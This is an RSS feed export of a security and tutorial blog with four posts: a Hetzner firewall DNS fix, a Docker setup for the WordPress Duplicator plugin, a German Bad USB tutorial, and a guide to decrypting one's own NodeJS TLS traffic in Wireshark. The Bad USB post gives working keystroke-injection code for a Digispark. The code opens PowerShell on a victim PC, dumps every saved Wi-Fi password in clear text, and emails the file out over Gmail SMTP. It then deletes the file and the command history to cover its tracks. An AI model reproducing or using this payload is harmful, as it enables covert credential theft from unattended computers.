<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security Archives - Tutorial Tech</title>
	<atom:link href="https://tutorialtech.net/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>https://tutorialtech.net/category/security/</link>
	<description>Tutorials, Security, Technology</description>
	<lastBuildDate>Tue, 14 Jun 2022 10:24:21 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.2</generator>

<image>
	<url>https://tutorialtech.net/wp-content/uploads/2020/05/cropped-tut_tech_logo-32x32.jpg</url>
	<title>Security Archives - Tutorial Tech</title>
	<link>https://tutorialtech.net/category/security/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">175782066</site>	<item>
		<title>Hetzner Cloud &#8211; Keine DNS Verbindung zum Internet</title>
		<link>https://tutorialtech.net/hetzner-cloud-keine-dns-verbindung-zum-internet/</link>
					<comments>https://tutorialtech.net/hetzner-cloud-keine-dns-verbindung-zum-internet/#respond</comments>
		
		<dc:creator><![CDATA[Julius Reinhardt]]></dc:creator>
		<pubDate>Mon, 11 Apr 2022 15:46:44 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Tutorial]]></category>
		<guid isPermaLink="false">https://tutorialtech.net/?p=321</guid>

					<description><![CDATA[<p>tl;dr: Firewallregeln anpassen und ausgehenden Traffic über UDP erlauben Der Cloud Dienstleister Hetzner ist gerade in Deutschland für günstige und performante VPS Server bekannt. Deshalb zog ich jüngst zum günstigeren Cloud Anbieter Hetzner um und verwende die CX 11 Instanz. Nach Aufsetzen des Servers war über die Shell keine Verbindung zum Internet möglich, da Domain [&#8230;]</p>
<p>The post <a href="https://tutorialtech.net/hetzner-cloud-keine-dns-verbindung-zum-internet/">Hetzner Cloud &#8211; Keine DNS Verbindung zum Internet</a> appeared first on <a href="https://tutorialtech.net">Tutorial Tech</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">tl;dr: Firewallregeln anpassen und ausgehenden Traffic über UDP erlauben</p>



<p class="wp-block-paragraph">Der Cloud Dienstleister Hetzner ist gerade in Deutschland für günstige und performante VPS Server bekannt. Deshalb zog ich jüngst zum günstigeren Cloud Anbieter <a href="https://www.hetzner.com/" target="_blank" rel="noreferrer noopener">Hetzner</a> um und verwende die CX 11 Instanz. Nach Aufsetzen des Servers war über die Shell keine Verbindung zum Internet möglich, da Domain Namen nicht aufgelöst wurden. Auch der berühmte <em>ping 8.8.8.8 </em>Test schlug fehl. Nach längerer Untersuchung der <em>resolv.conf</em>, die in Debian für die Namensauflösung verantwortlich ist, konnte ich das Problem nicht lösen bis ich mir die Firewallregeln ansah.</p>



<p class="wp-block-paragraph"><strong>Die Lösung:</strong></p>



<p class="wp-block-paragraph">Schuld waren die standardmäßigen Firewallregeln, die in der Cloud Oberfläche von Hetzner.com definiert werden können. Dort wird lediglich jeder ausgehende <strong>TCP</strong> Traffic erlaubt, jedoch handelt es sich bei DNS Requests um <strong>UDP</strong> Pakete. Deshalb wurde der Kontakt mit DNS Servern zur Namensauflösung verhindert. Das Problem kann durch das Hinzufügen der Regel <strong>ANY IPv4 ANY IPv6</strong>, Protokoll: <strong>UDP</strong> und Port: <strong>any</strong> unter <strong>Firewall</strong>&gt;<strong>Regeln</strong> bei <strong>Ausgehend-&gt;</strong> durch <strong>REGEL HINZUFÜGEN</strong> behoben werden. Im Folgenden die hinzugefügte Regel in der Cloud Oberfläche:</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="654" src="https://tutorialtech.net/wp-content/uploads/2022/04/Hetzner_Firewall_Rules-1024x654.png" alt="Hetzner Cloud Oberfläche Firewall Regel DNS Problem" class="wp-image-323" srcset="https://tutorialtech.net/wp-content/uploads/2022/04/Hetzner_Firewall_Rules-1024x654.png 1024w, https://tutorialtech.net/wp-content/uploads/2022/04/Hetzner_Firewall_Rules-300x192.png 300w, https://tutorialtech.net/wp-content/uploads/2022/04/Hetzner_Firewall_Rules-768x490.png 768w, https://tutorialtech.net/wp-content/uploads/2022/04/Hetzner_Firewall_Rules-1536x981.png 1536w, https://tutorialtech.net/wp-content/uploads/2022/04/Hetzner_Firewall_Rules.png 1549w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">Das blockieren von ausgehenden UDP-Traffic ist für den Betrieb eines Webservers z.B. nicht weiter schlimm, da Updates via <em>apt update<strong> </strong></em>vom Hetzner Mirror geladen werden, wofür keine Namensauflösung notwendig ist. Erst beim Betreiben von bspw. eines VPNs, führt die fehlende Regel zu keiner Verbindung zum Internet. </p>



<p class="wp-block-paragraph">Ich hoffe ich konnte euch helfen und erspare euch die Zeit sich mit solchen Problemen auseinanderzusetzen um etwas produktives tun zu können. Ihr könnt mir bei weiteren Fragen und Problemen gerne schreiben, nutzt dafür einfach das Kontaktformular und ich werde mich schnellstmöglich bei euch melden <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> </p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
<p>The post <a href="https://tutorialtech.net/hetzner-cloud-keine-dns-verbindung-zum-internet/">Hetzner Cloud &#8211; Keine DNS Verbindung zum Internet</a> appeared first on <a href="https://tutorialtech.net">Tutorial Tech</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://tutorialtech.net/hetzner-cloud-keine-dns-verbindung-zum-internet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">321</post-id>	</item>
		<item>
		<title>WP Duplicator database connection with docker compose</title>
		<link>https://tutorialtech.net/wp-duplicator-plugin-database-connection-with-docker-compose/</link>
					<comments>https://tutorialtech.net/wp-duplicator-plugin-database-connection-with-docker-compose/#respond</comments>
		
		<dc:creator><![CDATA[Julius Reinhardt]]></dc:creator>
		<pubDate>Thu, 07 Apr 2022 21:39:05 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Tutorial]]></category>
		<guid isPermaLink="false">https://tutorialtech.net/?p=310</guid>

					<description><![CDATA[<p>The WordPress migration plugin Duplicator poses an easy way to migrate a website to another server. This is often used for transferring the online presence to localhost for faster development. For that purpose, Docker compose is an easy way to spin up a development MySQL Server with an already installed WordPress instance with just one [&#8230;]</p>
<p>The post <a href="https://tutorialtech.net/wp-duplicator-plugin-database-connection-with-docker-compose/">WP Duplicator database connection with docker compose</a> appeared first on <a href="https://tutorialtech.net">Tutorial Tech</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">The WordPress migration plugin <strong><a href="https://de.wordpress.org/plugins/duplicator" target="_blank" rel="noreferrer noopener nofollow">Duplicator</a></strong> poses an easy way to migrate a website to another server. This is often used for transferring the online presence to localhost for faster development. For that purpose, Docker compose is an easy way to spin up a development MySQL Server with an already installed WordPress instance with just one command. This method saves a lot of headache and time in configuring &amp; installing MySQL, Apache/Nginx WebServer, and WordPress. </p>



<p class="wp-block-paragraph">A famous docker compose file is the one to be found on the documentation page of docker.com. The script in the following or <a href="https://docs.docker.com/samples/wordpress/" target="_blank" rel="noreferrer noopener">here</a>: </p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: yaml; title: ; notranslate">
version: &quot;3.9&quot;
    
services:
  db:
    image: mysql:5.7
    volumes:
      - db_data:/var/lib/mysql
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: somewordpress
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
    
  wordpress:
    depends_on:
      - db
    image: wordpress:latest
    volumes:
      - wordpress_data:/var/www/html
    ports:
      - &quot;8000:80&quot;
    restart: always
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
volumes:
  db_data: {}
  wordpress_data: {}
</pre></div>


<p class="wp-block-paragraph">This article does not aim to be another step-by-step instruction on how to use the plugin, but rather address difficulties with the database connection within Docker. If you are not familiar with the process on how to use the WordPress Plugin Duplicator, please check the following tutorials:</p>



<p class="wp-block-paragraph"><a href="https://pixelbar.be/blog/wordpress-umziehen-ganz-einfach-mit-dem-plugin-duplicator/" rel="nofollow">WordPress umziehen ganz einfach mit dem Plugin &#8220;Duplicator&#8221; &#8211; Pixelbar GmbH Eupen &#8211; Webdesign &#8211; Digitale Medien &#8211; Webentwicklung</a></p>



<p class="wp-block-paragraph"><a href="https://de.wordpress.org/plugins/duplicator/" target="_blank" rel="noreferrer noopener">Duplicator – WordPress Migration Plugin – WordPress-Plugin | WordPress.org Deutsch</a></p>



<p class="wp-block-paragraph">In step 2 of the installation wizard, you are supposed to enter the connection details of your MySQL server. In most of the tutorials, the <strong>host</strong> field shows localhost or 127.0.01. You might think now, since docker runs on my localhost, this should be fine. In reality this is a common pitfall with Docker, because it sets up its own network. Therefore, you need to use the container name specified below <strong>services</strong>, which is <strong>db</strong>. With the above underlying docker-compose file, your config should look like the following:</p>



<figure class="wp-block-image size-full"><img decoding="async" width="895" height="624" src="https://tutorialtech.net/wp-content/uploads/2022/04/Wordpress_Duplicator_article.png" alt="duplicator database docker compose wordpress plugin wordpress" class="wp-image-312" srcset="https://tutorialtech.net/wp-content/uploads/2022/04/Wordpress_Duplicator_article.png 895w, https://tutorialtech.net/wp-content/uploads/2022/04/Wordpress_Duplicator_article-300x209.png 300w, https://tutorialtech.net/wp-content/uploads/2022/04/Wordpress_Duplicator_article-768x535.png 768w" sizes="(max-width: 895px) 100vw, 895px" /></figure>



<p class="wp-block-paragraph">After testing the database connection, you should see this screen to continue with the installation wizard.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="902" height="217" src="https://tutorialtech.net/wp-content/uploads/2022/04/Screenshot-2022-04-06-at-17.34.37.png" alt="duplicator database docker compose wordpress plugin wordpress" class="wp-image-313" srcset="https://tutorialtech.net/wp-content/uploads/2022/04/Screenshot-2022-04-06-at-17.34.37.png 902w, https://tutorialtech.net/wp-content/uploads/2022/04/Screenshot-2022-04-06-at-17.34.37-300x72.png 300w, https://tutorialtech.net/wp-content/uploads/2022/04/Screenshot-2022-04-06-at-17.34.37-768x185.png 768w" sizes="(max-width: 902px) 100vw, 902px" /></figure>



<p class="wp-block-paragraph">I hope I was able to help you. If you need further assistance, feel free to contact me on my Mail: <a href="mailto:mail@julius-reinhardt.de">mail@julius-reinhardt.de</a>. In case you are interested in other articles, you can check <a href="https://tutorialtech.net/wifi-passworter-stehlen-mit-1e-bad-usb-stick/">Wifi Passwörter stehlen mit 1€ Bad USB Stick &#8211; Tutorial Tech</a> or <a href="https://tutorialtech.net/how-to-decrypt-nodejs-tls-traffic-with-wireshark/">How to decrypt Nodejs TLS traffic with Wireshark &#8211; Tutorial Tech</a>. </p>
<p>The post <a href="https://tutorialtech.net/wp-duplicator-plugin-database-connection-with-docker-compose/">WP Duplicator database connection with docker compose</a> appeared first on <a href="https://tutorialtech.net">Tutorial Tech</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://tutorialtech.net/wp-duplicator-plugin-database-connection-with-docker-compose/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">310</post-id>	</item>
		<item>
		<title>Wifi Passwörter stehlen mit 1€ Bad USB Stick</title>
		<link>https://tutorialtech.net/wifi-passworter-stehlen-mit-1e-bad-usb-stick/</link>
					<comments>https://tutorialtech.net/wifi-passworter-stehlen-mit-1e-bad-usb-stick/#respond</comments>
		
		<dc:creator><![CDATA[Julius Reinhardt]]></dc:creator>
		<pubDate>Sat, 23 May 2020 23:23:27 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Tutorial]]></category>
		<guid isPermaLink="false">https://tutorialtech.net/?p=266</guid>

					<description><![CDATA[<p>Jeder hat diesen einen Kollegen, der bei der Arbeit nie seinen Bildschirm sperrt. Dabei ist den meisten nicht bewusst, welchen Gefahren sie sich und der Firma dabei aussetzen. Ein getarnter Angreifer könnte hier in Abwesenheit z.B. sensitive Dokumente kopieren, eine Backdoor installieren oder die Wifi Passwörter stehlen. Dafür kommt in der Praxis ein sogenannter Bad [&#8230;]</p>
<p>The post <a href="https://tutorialtech.net/wifi-passworter-stehlen-mit-1e-bad-usb-stick/">Wifi Passwörter stehlen mit 1€ Bad USB Stick</a> appeared first on <a href="https://tutorialtech.net">Tutorial Tech</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Jeder hat diesen einen Kollegen, der bei der Arbeit nie seinen Bildschirm sperrt. Dabei ist den meisten nicht bewusst, welchen Gefahren sie sich und der Firma dabei aussetzen. Ein getarnter Angreifer könnte hier in Abwesenheit z.B. sensitive Dokumente kopieren, eine Backdoor installieren oder die Wifi Passwörter stehlen. Dafür kommt in der Praxis ein sogenannter <strong>Bad USB Stick</strong> zum Einsatz, um den Angriff möglichst schnell und unerkannt durchzuführen. In diesem Artikel wird der <strong>Digispark Attiny 85</strong> verwendet für rund 1€.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="380" src="https://tutorialtech.net/wp-content/uploads/2020/05/Digispark_badusb-1024x380.png" alt="Digispark Attiny 85" class="wp-image-248" srcset="https://tutorialtech.net/wp-content/uploads/2020/05/Digispark_badusb-1024x380.png 1024w, https://tutorialtech.net/wp-content/uploads/2020/05/Digispark_badusb-300x111.png 300w, https://tutorialtech.net/wp-content/uploads/2020/05/Digispark_badusb-768x285.png 768w, https://tutorialtech.net/wp-content/uploads/2020/05/Digispark_badusb-1536x570.png 1536w, https://tutorialtech.net/wp-content/uploads/2020/05/Digispark_badusb-2048x759.png 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<h2 class="wp-block-heading">Was ist ein Bad USB Stick?</h2>



<p class="wp-block-paragraph">Ein Bad USB Stick ist im Idealfall ein unscheinbar aussehender Datenträger, der sich sobald eingesteckt als Tastatur oder Maus ausgibt (Human Interface Device). Manche handelsüblichen USB Sticks haben einen Mikroprozessor verbaut, der durch Manipulation der Firmware als Bad USB Stick verwendet werden kann. Deshalb sollten auch niemals USB Sticks eingesteckt werden, die z.B. auf der Straße oder Bibliothek gefunden wurden. </p>



<p class="wp-block-paragraph">Bei dem Digispark Attiny 85 handelt es sich um einen programmierbaren Mikrocontroller mit einem 16,5 MHz Prozessor. Dadurch können mit der mitgelieferten Bibliothek Tastaturanschläge und Tastenkombinationen an den Opfer-PC gesendet werden um z.B. die Kommandozeile zu öffnen und Befehle auszuführen.</p>



<p class="wp-block-paragraph">Vor diesem Angriff kann man sich mit herkömmlichen Anti-Viren Systemen nicht schützen, da sie in der Regel nicht die Firmware des angeschlossenen Geräts überprüfen.  </p>



<h2 class="wp-block-heading">Setup</h2>



<p class="wp-block-paragraph">Für das Tutorial wird Folgendes benötigt:</p>



<ul class="wp-block-list"><li><a rel="noreferrer noopener" href="https://www.amazon.de/AZDelivery-Digispark-kompatibles-Development-ATtiny85/dp/B076KS2QDS/ref=sr_1_3?__mk_de_DE=ÅMÅŽÕÑ&amp;crid=1Y0V40KKJ55KI&amp;dchild=1&amp;keywords=digispark+attiny85&amp;qid=1590264617&amp;sprefix=digispark%2Caps%2C166&amp;sr=8-3" target="_blank">Digispark Attiny 85</a> </li><li><a rel="noreferrer noopener" href="https://www.arduino.cc/en/Main/Software" target="_blank">Arduino IDE</a></li><li>Windows 10 Opfer-PC</li></ul>



<h3 class="wp-block-heading">Einrichten von Arduino</h3>



<p class="wp-block-paragraph">Um den Digispark zu installieren und die Bibliotheken zu nutzen, muss der Mikrocontroller im Boardmanager installiert werden. Dafür empfehle ich die folgende Anleitung vom Hersteller: <a href="http://digistump.com/wiki/digispark/tutorials/connecting">http://digistump.com/wiki/digispark/tutorials/connecting</a></p>



<p class="wp-block-paragraph">Der vollständige Code liegt auf dem <a href="https://github.com/jreinhardt2/Digispark_WifiMailer" target="_blank" rel="noreferrer noopener">Repository</a> in Github, welches ihr mit folgendem Befehl herunterladen könnt:</p>



<pre class="wp-block-code"><code>git clone https://github.com/jreinhardt2/Digispark_WifiMailer.git</code></pre>



<p class="wp-block-paragraph">ACHTUNG! Die Verwendung des Skripts ohne Einwilligung des Opfers stellt eine Straftat dar! </p>



<h2 class="wp-block-heading">Erklärung des Codes </h2>



<h3 class="wp-block-heading">Powershell auf dem Zielsystem öffnen</h3>



<p class="wp-block-paragraph">Mit dem folgenden Code Block wird die Powershell mit Benutzerberechtigungen geöffnet. </p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; auto-links: false; gutter: false; title: ; quick-code: false; notranslate">
DigiKeyboardDe.sendKeyStroke(KEY_X, MOD_GUI_LEFT); //Windows + X
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_A); // A
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_ARROW_LEFT);// Pfeiltaste nach Links
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);//Enter
DigiKeyboardDe.delay(1000);
</pre></div>


<h2 class="wp-block-heading">Auslesen der Wifi Passwörter mit Powershell</h2>



<p class="wp-block-paragraph">Im nächsten Schritt werden die Wifi-Namen auch SSID genannt und deren Passwörter ausgelesen. Danach wird ein Objekt mit den ausgelesenen Daten erstellt und als csv Datei exportiert. </p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; auto-links: false; gutter: false; title: ; quick-code: false; notranslate">
DigiKeyboardDe.print(F(&quot;netsh wlan show profiles | Select-String &#039;:(.+)$&#039; | %{$name=$_.Matches.Groups&#x5B;1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String &#039;Schl&quot;));
DigiKeyboard.sendKeyStroke(47); // ü
DigiKeyboardDe.print(F(&quot;sselinhalt.*:(.+)$&#039;|  %{$pass=$_.Matches.Groups&#x5B;1].Value.Trim(); $_} | %{&#x5B;PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv;exit&quot;));
</pre></div>


<p class="wp-block-paragraph">Zu Beginn werden alle Wifi Profile angezeigt mit <em>netsh</em> <em>wlan show profiles</em>. Dabei werden alle Wlan Punkte angezeigt mit dem der Windows PC je verbunden war. Mit Hilfe eines Regex werden nun alle Namen herausgefiltert und in der Variable <em>$name</em> gespeichert. Der Ausdruck <em><strong>${ &#8230; } </strong></em> ist die Kurzschreibweise von For-Each, wobei es sich um eine spezielle Art der For-Schleife handelt. </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="978" height="418" src="https://tutorialtech.net/wp-content/uploads/2020/05/Screen-Shot-2020-05-23-at-22.58.12.png" alt="" class="wp-image-271" srcset="https://tutorialtech.net/wp-content/uploads/2020/05/Screen-Shot-2020-05-23-at-22.58.12.png 978w, https://tutorialtech.net/wp-content/uploads/2020/05/Screen-Shot-2020-05-23-at-22.58.12-300x128.png 300w, https://tutorialtech.net/wp-content/uploads/2020/05/Screen-Shot-2020-05-23-at-22.58.12-768x328.png 768w" sizes="auto, (max-width: 978px) 100vw, 978px" /></figure>



<p class="wp-block-paragraph">Im nächsten Schritt wird für jeden herausgefilterten Wifi-Namen das Profil angezeigt mit dem Wifi-Passwort im Klartext, was mittels <em>key=clear</em> sichergestellt wird. </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1496" height="1424" src="https://i2.wp.com/tutorialtech.net/wp-content/uploads/2020/05/Screen-Shot-2020-05-23-at-23.06.28.png?fit=1024%2C975&amp;ssl=1" alt="" class="wp-image-272" srcset="https://tutorialtech.net/wp-content/uploads/2020/05/Screen-Shot-2020-05-23-at-23.06.28.png 1496w, https://tutorialtech.net/wp-content/uploads/2020/05/Screen-Shot-2020-05-23-at-23.06.28-300x286.png 300w, https://tutorialtech.net/wp-content/uploads/2020/05/Screen-Shot-2020-05-23-at-23.06.28-1024x975.png 1024w, https://tutorialtech.net/wp-content/uploads/2020/05/Screen-Shot-2020-05-23-at-23.06.28-768x731.png 768w" sizes="auto, (max-width: 1496px) 100vw, 1496px" /></figure>



<p class="wp-block-paragraph">Anschließend wird das Wifi-Passwort für jede SSID durch ein Regex gefiltert und in der Variable <em>$pass</em> gespeichert. Das &#8220;<strong>ü</strong>&#8221; in Schlüsselinhalt muss separat geschickt werden mit <em>sendKeystroke(47);</em>,. </p>



<p class="wp-block-paragraph">Abschließend wird ein Objekt erstellt mit allen Namen und deren zugehörigen Passwörter. Dieses Objekt wird im nächsten Schritt als csv exportiert und gespeichert. </p>



<p class="wp-block-paragraph">Die erstellte csv Datei kann nun an eine beliebige E-Mail gesendet werden. Dafür wird das Send-MailMessage CMDlet von Powershell verwendet.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; auto-links: false; gutter: false; title: ; quick-code: false; notranslate">
  DigiKeyboardDe.print(F(&quot;$Username = &#039;&lt;EMAIL_BENUTZERNAME&gt;&#039;;$Password = &#039;EMAIL_PASSWORT&#039;;$pass = ConvertTo-SecureString -AsPlainText $Password -Force;$SecureString = $pass;$MySecureCreds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username,$SecureString; $From = &#039;&lt;ABSENDER_EMAILADRESSE&gt;&#039;;$To = &#039;EMPFÄNGER_EMAILADRESSE&#039;;$Attachment = &#039;temp.csv&#039;;$Subject = &#039;Digispark Wlan&#039;;$Body = &#039;Wifi Passwörter im Anhang&#039;;$SMTPServer = &#039;smtp.gmail.com&#039;;$SMTPPort = &#039;587&#039;;Send-MailMessage -From $From -to $To -Subject $Subject -Body $Body -SmtpServer $SMTPServer -port $SMTPPort -UseSsl -Credential $MySecureCreds -Attachments $Attachment;exit&quot;));

</pre></div>


<p class="wp-block-paragraph">In dem Code sind die SMTP Informationen von Gmail schon vorausgefüllt, jedoch kann jeder beliebige Mail-Provider bzw. SMTP Server verwendet werden. <strong>Achtung!</strong> Bei Gmail muss das Senden von nicht autorisierten Drittprogrammen wie Powershell manuell im Account aktiviert werden. Die Anleitung dazu ist <a rel="noreferrer noopener" href="https://support.google.com/a/answer/6260879?hl=de" target="_blank">hier</a> verlinkt. </p>



<p class="wp-block-paragraph">Am Ende des Codes wird die csv Datei wieder gelöscht, sowie die Powershell Befehlshistorie. Dadurch werden alle Spuren verwischt, die auf einen Angriff hinweisen.</p>



<h2 class="wp-block-heading">Anpassung des Skripts</h2>



<p class="wp-block-paragraph">Bei langsameren Opfersystemen müssen die <em>delay</em>(Zeit in ms) im Code erhöht werden, sodass keine neuen Anweisungen geschickt werden, obwohl die Alten noch nicht ausgeführt wurden. Dieses Skript funktioniert nur auf einem Windows 10 System mit deutscher Spracheinstellung. Die englische Variante ist <a rel="noreferrer noopener" href="https://github.com/CedArctic/DigiSpark-Scripts/blob/master/WiFi_Profile_Mailer" target="_blank">hier</a> verfügbar.</p>



<h2 class="wp-block-heading">Fazit</h2>



<p class="wp-block-paragraph">Bad USB Sticks stellen eine große Gefahr für Unternehmen, sowie für Privatanwender dar. Schutz bieten Endpoint Protection Lösungen oder das Zukleben der USB Ports. Aufgrund der ausgehenden Gefahr sollten niemals USB-Sticks eingesteckt werden, die nicht von vertrauenswürdigen Quellen kommen und vor allem der Computer beim Verlassen des Arbeitsplatz gesperrt werden.</p>



<p class="wp-block-paragraph"> </p>
<p>The post <a href="https://tutorialtech.net/wifi-passworter-stehlen-mit-1e-bad-usb-stick/">Wifi Passwörter stehlen mit 1€ Bad USB Stick</a> appeared first on <a href="https://tutorialtech.net">Tutorial Tech</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://tutorialtech.net/wifi-passworter-stehlen-mit-1e-bad-usb-stick/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">266</post-id>	</item>
		<item>
		<title>How to decrypt NodeJs TLS traffic with Wireshark</title>
		<link>https://tutorialtech.net/how-to-decrypt-nodejs-tls-traffic-with-wireshark/</link>
					<comments>https://tutorialtech.net/how-to-decrypt-nodejs-tls-traffic-with-wireshark/#comments</comments>
		
		<dc:creator><![CDATA[Julius Reinhardt]]></dc:creator>
		<pubDate>Sun, 19 Apr 2020 11:46:00 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Tutorial]]></category>
		<guid isPermaLink="false">https://tutorialtech.net/?p=114</guid>

					<description><![CDATA[<p>Traffic between your device and your Cloud Solution is encrypted to protect your data during transport. But in some cases you want to debug your code and inspect network packets. In this tutorial, I will show you exactly how to decrypt traffic between your IoT-device and a cloud solution like Azure IoT Hub or AWS [&#8230;]</p>
<p>The post <a href="https://tutorialtech.net/how-to-decrypt-nodejs-tls-traffic-with-wireshark/">How to decrypt NodeJs TLS traffic with Wireshark</a> appeared first on <a href="https://tutorialtech.net">Tutorial Tech</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Traffic between your device and your Cloud Solution is encrypted to protect your data during transport. But in some cases you want to debug your code and inspect network packets. In this tutorial,  I will show you exactly how to decrypt traffic between your IoT-device and a cloud solution like Azure IoT Hub or AWS IoT Core. Both solutions use TLS to protect communication whereby this tutorial is applicable to every TLS connection initiated by <strong>NodeJs</strong>. </p>



<h2 class="wp-block-heading" id="PFS">Cipher Suites and Perfect Forward Secrecy</h2>



<p class="wp-block-paragraph">AWS <a href="https://docs.aws.amazon.com/iot/latest/developerguide/transport-security.html" target="_blank" rel="noreferrer noopener">recommends Cipher Suites</a> like ECDHE-ECDSA-AES128-GCM-SHA256 with an ECDHE Key Exchange Algorithm which has the <a href="https://www.wired.com/2016/11/what-is-perfect-forward-secrecy/" target="_blank" rel="noreferrer noopener">Perfect Forward Secrecy (PFS)</a> feature. Therefore, session keys will not be compromised even by capturing the private key because of a new set of Diffie-Hellmann parameters generated upon every session. This means, that even with the private key, we are not able to see plain communication. Therefore, we need to ensure the use of a weaker Cipher Suite without PFS, if you have the private key.</p>



<h2 class="wp-block-heading">Cipher Suite downgrade </h2>



<p class="wp-block-paragraph">In order to decrypt the packets with the private key, you need to downgrade the Cipher Suite to one, which doesn&#8217;t use ECDHE as Key Exchange Algorithm. This is because of the PFS feature stated <a href="#PFS">here</a>. On the <a rel="noreferrer noopener" href="https://docs.aws.amazon.com/iot/latest/developerguide/transport-security.html" target="_blank">official website of Amazon Web Services</a> is a list of all supported Suites. Now choose one without ECDHE like <em>AES128-SHA​</em> which uses RSA as Key Exchange Algorithm. This option alone only works, when you are in possession of the used private key. </p>



<h2 class="wp-block-heading">TLS Keylog File</h2>



<p class="wp-block-paragraph">How do we retrieve the decryption key now? If you get your hands on the private key used by Amazon or Microsoft, you are able to decrypt packets but that is rather unlikely. The next best thing is the session key used for encrypting the packets. This is possible by logging information about that key during communication in a keylog file. This file is <a href="#Decryption-in-Wireshark">loaded later into Wireshark</a> to decrypt traffic. In the following step we look at the decryption process with NodeJs.</p>



<h2 class="wp-block-heading">NodeJs TLS keylog file</h2>



<p class="wp-block-paragraph">At first we assume iot-device.js is the file containing device logic. Now you pass the parameter <strong>tls-cipher-list=&#8221;&lt;cipher-suite>&#8221;</strong> to select a supported cipher suite without ECDHE. With <strong>tls-keylog=&#8221;&lt;path>&#8221;</strong> you specify the path for the keylog file. Afterward start listening with Wireshark to capture the traffic and start your code on the device with the following command. These parameters are available since NodeJs <strong>version 12</strong> ! Note, you don&#8217;t need to use a weaker cipher suite and the tls-cipher-cipher argument, if you use the tls-keylog option.  </p>



<pre class="wp-block-code"><code>node --tls-cipher-list="AES128-SHA" --tls-keylog=$(pwd)/keylog.txt iot-device.js</code></pre>



<p class="wp-block-paragraph">During execution and after the TLS connection is established the session key is logged in keyfile.txt. Now you can load the keylog.txt in Wireshark and <a href="#Decryption-in-Wireshark">decrypt traffic</a>.</p>



<h2 class="wp-block-heading" id="Decryption-in-Wireshark">TLS decryption in Wireshark with keylog file</h2>



<p class="wp-block-paragraph">During execution and after the TLS connection is established the session key is logged in keyfile.txt. Now you can load the keylog.txt in Wireshark.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="507" src="https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.17.01-1-1024x507.png" alt="Wireshark Packet Capturing Interface showing AWS trafffic" class="wp-image-137" srcset="https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.17.01-1-1024x507.png 1024w, https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.17.01-1-300x149.png 300w, https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.17.01-1-768x381.png 768w, https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.17.01-1-1536x761.png 1536w, https://tutorialtech.net/wp-content/uploads/2020/04/Screen-Shot-2020-04-18-at-20.17.01-1-2048x1015.png 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



